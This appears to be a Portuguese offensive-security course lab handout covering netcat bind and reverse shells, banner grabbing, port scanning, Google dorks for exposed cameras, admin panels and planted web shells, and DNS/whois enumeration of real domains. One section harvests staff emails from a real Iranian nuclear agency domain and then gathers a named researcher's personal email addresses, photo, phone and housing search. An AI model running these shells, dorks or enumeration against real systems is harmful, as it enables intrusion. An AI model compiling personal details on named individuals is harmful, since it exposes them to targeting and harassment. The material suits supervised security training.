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  • 1. Laboratório do Curso de Segurança Ofensiva Netcat e Enumeração (Google Hacking, Whois e DNS) 1. NETCAT a) Ajuda root@bt:~/lab_bash-script# nc -h [v1.10-38] connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [-options] [hostname] [port] options: -c shell commands as `-e'; use /bin/sh to exec [dangerous!!] -e filename program to exec after connect [dangerous!!] -b allow broadcasts -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -k set keepalive option on socket -l listen mode, for inbound connects -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -q secs quit after EOF on stdin and delay of secs -s addr local source address -T tos set Type Of Service -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-I/O mode [used for scanning] port numbers can be individual or ranges: lo-hi [inclusive]; hyphens in port names must be backslash escaped (e.g. 'ftp-data'). root@bt:~/lab_bash-script# Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 1
  • 2. b) Banner grabbing Verificando portas abertas e lendo banners root@bt:~/lab_bash-script# nc -nv 172.16.49.100 21 (UNKNOWN) [172.16.49.100] 21 (ftp) open 220 (vsFTPd 2.3.0) root@bt:~/lab_bash-script# nc -nv 172.16.49.100 80 (UNKNOWN) [172.16.49.100] 80 (www) open HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: Wed, 20 Jun 2012 22:01:42 GMT Server: Apache/2.2.16 (Ubuntu) Last-Modified: Wed, 20 Jun 2012 21:57:24 GMT ETag: "c5af2-b1-4c2ee7bee7e05" Accept-Ranges: bytes Content-Length: 177 Vary: Accept-Encoding Connection: close Content-Type: text/html c) CHATT Simples No Backtrack nc -lvp 4444 Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 2
  • 3. No Windows XP-SP2 nc -nv 172.16.49.130 4444 Basta digitar qualquer coisa em qualquer uma das máquinas d) Administração Remota - BIND SHEL No BT localizado na rede externa root@bt:~# nc -lvp 4444 -e /bin/bash listening on [any] 4444 ... No maquina windows XP-SP2 na rede interna C:>nc -nv 172.16.49.130 4444 (UNKNOWN) [172.16.49.130] 4444 (?) open ls Desktop lab_bash-script rota.sh Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 3
  • 4. - REVERSE SHELL – NC No BT localizado na rede externa root@bt:~# nc -lvp 4444 listening on [any] 4444 ... Na máquina windows XP-SP2 na rede interna C:>nc -nv 172.16.49.130 4444 -e cmd.exe (UNKNOWN) [172.16.49.130] 4444 (?) open Resultado no BT root@bt:~# nc -lvp 4444 listening on [any] 4444 ... 172.16.50.10: inverse host lookup failed: Unknown server error : Connection timed out connect to [172.16.49.130] from (UNKNOWN) [172.16.50.10] 1214 Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:>hostname hostname CTP028 C:> e) Port Scan BT externo scaneando o Firewall (portas 21 a 30) root@bt:~# nc -z -nvv -w 1 172.16.49.100 21-30 (UNKNOWN) [172.16.49.100] 30 (?) : Connection refused (UNKNOWN) [172.16.49.100] 29 (?) : Connection refused (UNKNOWN) [172.16.49.100] 28 (?) : Connection refused (UNKNOWN) [172.16.49.100] 27 (?) : Connection refused (UNKNOWN) [172.16.49.100] 26 (?) : Connection refused (UNKNOWN) [172.16.49.100] 25 (smtp) : Connection refused (UNKNOWN) [172.16.49.100] 24 (?) : Connection refused (UNKNOWN) [172.16.49.100] 23 (telnet) : Connection refused (UNKNOWN) [172.16.49.100] 22 (ssh) open (UNKNOWN) [172.16.49.100] 21 (ftp) open Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 4
  • 5. f) Transferência de Arquivos BT externo scaneando o Firewall (portas 21 a 30) root@bt:~# nc -lvp 4444 > output.txt listening on [any] 4444 ... 172.16.50.10: inverse host lookup failed: Unknown server error : Connection timed out connect to [172.16.49.130] from (UNKNOWN) [172.16.50.10] 1224 No windows XP-SP2 na rede interna C:>nc.exe -nv 172.16.49.130 4444 < arq1.txt (UNKNOWN) [172.16.49.130] 4444 (?) open Resultado root@bt:~# ls Desktop lab_bash-script output.txt rota.sh root@bt:~# more output.txt teste de transferencia root@bt:~# Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 5
  • 6. 2. Google Search google search operators - verificar site operator e outros site:offensive-security.com - ver quantas pag web tem o domínio - paginas indexadas Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 6
  • 7. site www.offensive-security.com filetype:pdf (só PDF) site:aeoi.org.ir (21.800 pages) Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 7
  • 8. intitle:"Remote Desktop Web Connection" inurl:tsweb Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 8
  • 9. google hacking database -- ghdb google hacking database site com webmin rodando inurl:10000 webmin Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 9
  • 10. site com vnc server rodando intitle:"VNC viewer for java" --- servidores VNC http://okbk.myvnc.com:5800/ Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 10
  • 11. servidor de impressão intitle:"Network Print Server" filetype:shtm interface web roteador speed stream intitle:"SpeedStream Router Management Interface" Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 11
  • 12. intitle:"Setup Home" "You will need * log in before * * change * settings" (belkin) Camera de Seguranca inurl:"viewerframe?mode=motion" Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 12
  • 13. inurl:"ViewerFrame?Mode=" inurl:"view/index.shtml" "please visit" intitle:"i-Catcher Console" Copyright "iCode" intitle:"everfocus edsr applet" Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 13
  • 14. Software de videoconf intext:"Videoconference Management System" ext:htm phpmyadmin aberto intitle:phpMyAdmin "Welcome to phpMyAdmin ***" "running on * as root@*" Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 14
  • 15. Norton AV for gateways inurl:"8003/Display?what=" contatos MSN filetype:ctt "msn" Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 15
  • 16. Kickstart #kickstart filetype:cfg #kickstart filetype:cfg site:gov.br CUIDADO!!!!!! backdoor apache intitle:r57 shell filetype:php Site com backdoor plantado - antichat no title intitle:"Antichat Shell" "disable functions" Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 16
  • 17. 3. Google Search Social aeoi.org.ir puro no google - ver emails utilizar theharvester.py (script em python no BT) root@bt:~# cd /pentest/enumeration/theharvester/ root@bt:/pentest/enumeration/theharvester# ./theHarvester.py -d aeoi.org.ir -l 500 -b google [-] Searching in Google: Searching 0 results... Searching 100 results... Searching 200 results... [+] Emails found: -----------------hkazemian@aeoi.org.ir sjahmadi@aeoi.org.ir smshirvani@aeoi.org.ir mmostaedi@aeoi.org.ir AA37120067@aeoi.org.ir jrahighi@aeoi.org.ir sabolhosseini@aeoi.org.ir mghannadi@aeoi.org.ir rd@aeoi.org.ir Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 17
  • 18. usar hkazemian@aeoi.org.ir é um pesquisador, tem email yahoo usar hkazemian@yahoo.com Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 18
  • 19. ver SPAG Zeolite end da empress tel de contato e outro email do gmail - procurar foto usar hosseinkazemian@gmail.com - procurando apto veja telefone Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 19
  • 20. Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 20
  • 21. 4. Whois Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 21
  • 22. Consulta whois root@bt:~# whois checkpoint.com | more Whois Server Version 2.0 Domain names in the .com and .net domains can now be registered with many different competing registrars. Go to http://www.internic.net for detailed information. Server Name: CHECKPOINT.COM IP Address: 216.200.241.66 Registrar: NETWORK SOLUTIONS, LLC. Whois Server: whois.networksolutions.com Referral URL: http://www.networksolutions.com/en_US/ Domain Name: CHECKPOINT.COM Registrar: NETWORK SOLUTIONS, LLC. Whois Server: whois.networksolutions.com Referral URL: http://www.networksolutions.com/en_US/ Name Server: NS2.CHECKPOINT.COM Name Server: NS6.CHECKPOINT.COM Name Server: NS8.CHECKPOINT.COM Name Server: NS9.CHECKPOINT.COM Status: clientTransferProhibited Updated Date: 30-may-2012 Creation Date: 29-mar-1994 Expiration Date: 30-mar-2018 Administrative Contact, Technical Contact: Admin, DNS hostmaster@CHECKPOINT.COM Check Point Software Technologies Ltd. 3A Jabotinsky St. Ramat-Gan, 52520 IL +972-3-7534555 fax: +972-3-5759256 Record expires on 30-Mar-2018. Record created on 29-Mar-1994. Database last updated on 20-Jun-2012 22:30:44 EDT. Domain servers in listed order: NS2.CHECKPOINT.COM NS6.CHECKPOINT.COM NS8.CHECKPOINT.COM NS9.CHECKPOINT.COM 206.184.151.195 194.29.32.199 216.228.148.29 194.29.38.64 Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 22
  • 23. Consulta Reversa whois root@bt:~# whois 216.200.241.66 # # Query terms are ambiguous. The query is assumed to be: # "n 216.200.241.66" # # Use "?" to get help. # # # The following results may also be obtained via: # http://whois.arin.net/rest/nets;q=216.200.241.66?showDetails=true&showARIN=false&ext= netref2 # CHECKPOINT SOFTWARE MFN-B655-216-200-241-64-28 (NET-216-200-241-64-1) 216.200.241.64 - 216.200.241.79 Abovenet Communications, Inc ABOVENET-5 (NET-216-200-0-0-1) 216.200.0.0 216.200.255.255 # # ARIN WHOIS data and services are subject to the Terms of Use # available at: https://www.arin.net/whois_tou.html Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 23
  • 24. 5. DNS Consultas Manuais root@bt:~# nslookup www.checkpoint.com Server: 172.16.49.2 Address: 172.16.49.2#53 Non-authoritative answer: Name: www.checkpoint.com Address: 216.200.241.66 Consulta de Servidor de Email e de Nomes do domínio root@bt:~# nslookup > set type=mx > checkpoint.com Server: 172.16.49.2 Address: 172.16.49.2#53 Non-authoritative answer: checkpoint.com mail exchanger = 12 sami.checkpoint.com. checkpoint.com mail exchanger = 15 usmail-as.zonelabs.com. Authoritative answers can be found from: > set type=ns > checkpoint.com Server: 172.16.49.2 Address: 172.16.49.2#53 Non-authoritative answer: checkpoint.com nameserver = ns2.checkpoint.com. checkpoint.com nameserver = ns6.checkpoint.com. checkpoint.com nameserver = ns8.checkpoint.com. checkpoint.com nameserver = ns9.checkpoint.com. checkpoint.com nameserver = ns1.checkpoint.com. Authoritative answers can be found from: > Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 24
  • 25. - DNS Information Gathering 1- forward lookup BF - tentar acertar nomes validos root@bt:~/lab_DNS# host www.checkpoint.com www.checkpoint.com has address 216.200.241.66 www.checkpoint.com has IPv6 address 2620:0:2a01:2::1a10 root@bt:~/lab_DNS# host wwwwwwww.checkpoint.com Host wwwwwwww.checkpoint.com not found: 3(NXDOMAIN) root@bt:~/lab_DNS# - usar script1.sh no BT para FB (sem manipulação) root@bt:~/lab_DNS# more script_dns1.sh #!/bin/bash for name in $(cat /pentest/enumeration/dns/dnsenum/dns.txt);do host $name.checkpoint.com done - usar script2.sh no BT para FB ("has address") root@bt:~/lab_DNS# more script_dns2.sh #!/bin/bash for name in $(cat /pentest/enumeration/dns/dnsenum/dns.txt);do host $name.checkpoint.com | grep "has address" done root@bt:~/lab_DNS# ./script_dns2.sh forums.checkpoint.com has address 194.29.38.13 ftp.checkpoint.com has address 194.29.38.25 ftps.checkpoint.com has address 194.29.38.27 mailhost.checkpoint.com has address 194.29.32.199 cale.checkpoint.com has address 194.29.32.199 mx1.checkpoint.com has address 194.29.38.66 ns.checkpoint.com has address 194.29.32.199 ns1.checkpoint.com has address 208.185.174.140 ns2.checkpoint.com has address 208.185.174.141 register.checkpoint.com has address 194.29.38.35 search.us.checkpoint.com has address 209.87.209.207 smtp.checkpoint.com has address 194.29.34.68 www.checkpoint.com has address 216.200.241.66 www.checkpoint.com has address 216.200.241.66 root@bt:~/lab_DNS# Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 25
  • 26. - usar script3.sh no BT para FB (só IPs) root@bt:~/lab_DNS# more script_dns3.sh #!/bin/bash for name in $(cat /pentest/enumeration/dns/dnsenum/dns.txt);do host $name.checkpoint.com | grep "has address" | cut -d" " -f4 done root@bt:~/lab_DNS# ./script_dns3.sh 194.29.38.13 194.29.38.25 194.29.38.27 194.29.32.199 194.29.32.199 194.29.38.66 194.29.32.199 208.185.174.140 208.185.174.141 194.29.38.35 209.87.209.207 194.29.34.68 216.200.241.66 216.200.241.66 2- reverse lookup BF - Tentar resolução Reversa root@bt:~/lab_DNS# host 216.200.241.66 66.241.200.216.in-addr.arpa domain name pointer www.checkpoint.com. root@bt:~/lab_DNS# for ip in $(seq 64 79); do host 216.200.241.$ip | grep "domain name pointer" ;done 64.241.200.216.in-addr.arpa domain name pointer 216.200.241.64.available.above.net. 65.241.200.216.in-addr.arpa domain name pointer lata-gw.us.checkpoint.com. 66.241.200.216.in-addr.arpa domain name pointer www.checkpoint.com. 67.241.200.216.in-addr.arpa domain name pointer garmin.us.checkpoint.com. 68.241.200.216.in-addr.arpa domain name pointer flanger.us.checkpoint.com. 69.241.200.216.in-addr.arpa domain name pointer gould.us.checkpoint.com. 70.241.200.216.in-addr.arpa domain name pointer franklin.us.checkpoint.com. 71.241.200.216.in-addr.arpa domain name pointer darwin.us.checkpoint.com. 72.241.200.216.in-addr.arpa domain name pointer artemis.us.checkpoint.com. 73.241.200.216.in-addr.arpa domain name pointer amadeus.us.checkpoint.com. 74.241.200.216.in-addr.arpa domain name pointer streamer.us.checkpoint.com. 75.241.200.216.in-addr.arpa domain name pointer lata1.us.checkpoint.com. 76.241.200.216.in-addr.arpa domain name pointer lata2.us.checkpoint.com. 77.241.200.216.in-addr.arpa domain name pointer davis1.us.checkpoint.com. 78.241.200.216.in-addr.arpa domain name pointer davis2.us.checkpoint.com. 79.241.200.216.in-addr.arpa domain name pointer 216.200.241.79.available.above.net. Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 26
  • 27. 3- Zone transfer root@bt:~# host -t ns offensive-security.com offensive-security.com name server ns4.no-ip.com. offensive-security.com name server ns2.no-ip.com. offensive-security.com name server ns1.no-ip.com. offensive-security.com name server ns3.no-ip.com. offensive-security.com name server ns5.no-ip.com. root@bt:~# host -l offensive-security.com ns1.no-ip.com ; Transfer failed. Using domain server: Name: ns1.no-ip.com Address: 204.16.255.55#53 Aliases: Host offensive-security.com.localdomain not found: 9(NOTAUTH) ; Transfer failed. ------tentar com todos servidores de nomes - (primário e secundários) ------fazer com aeoi.org.ir e estacio.br Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 27
  • 28. Usar /pentest/enumeration/dnsenum root@bt:/pentest/enumeration/dns/dnsenum# ls dns-big.txt dnsenum.pl dns.txt README.txt root@bt:/pentest/enumeration/dns/dnsenum# ./dnsenum.pl estacio.br estacio.br 5 IN A 200.216.152.71 Name Servers: ns1.estacio.br ns2.estacio.br 5 5 IN A IN A 200.216.152.249 200.216.152.250 Mail (MX) Servers: Mail.Global.FrontBridge.com 5 IN A 216.32.180.22 Mail.Global.FrontBridge.com 5 IN A 216.32.181.178 estacio.br 1800 IN TXT estacio.br 1800 IN A 200.216.152.71 1989163337.estacio.br 1800 IN CNAME mail._domainkey.estacio.br 14400 IN TXT agenda.estacio.br 1800 IN A 200.216.152.71 agendaconselho.estacio.br 1800 IN A 200.216.152.71 aluno.estacio.br 1800 IN MX biblioteca.estacio.br 1800 IN CNAME bibliotecasonora.estacio.br 1800 IN A 200.216.152.90 blogdopresidente.estacio.br 1800 IN A 200.216.152.149 bquestoes.estacio.br 1800 IN A 200.216.152.63 adm.bquestoes.estacio.br 1800 IN A 200.216.152.62 provas.bquestoes.estacio.br 1800 IN A 200.216.152.63 Solution Consultoria e Treinamento www.solution-rj.com.br Rua Monan Pequeno 38/38, Pendotiba, Niterói, RJ. Email: solution@solution-rj.com.br/Tel: 021 8732-9993 28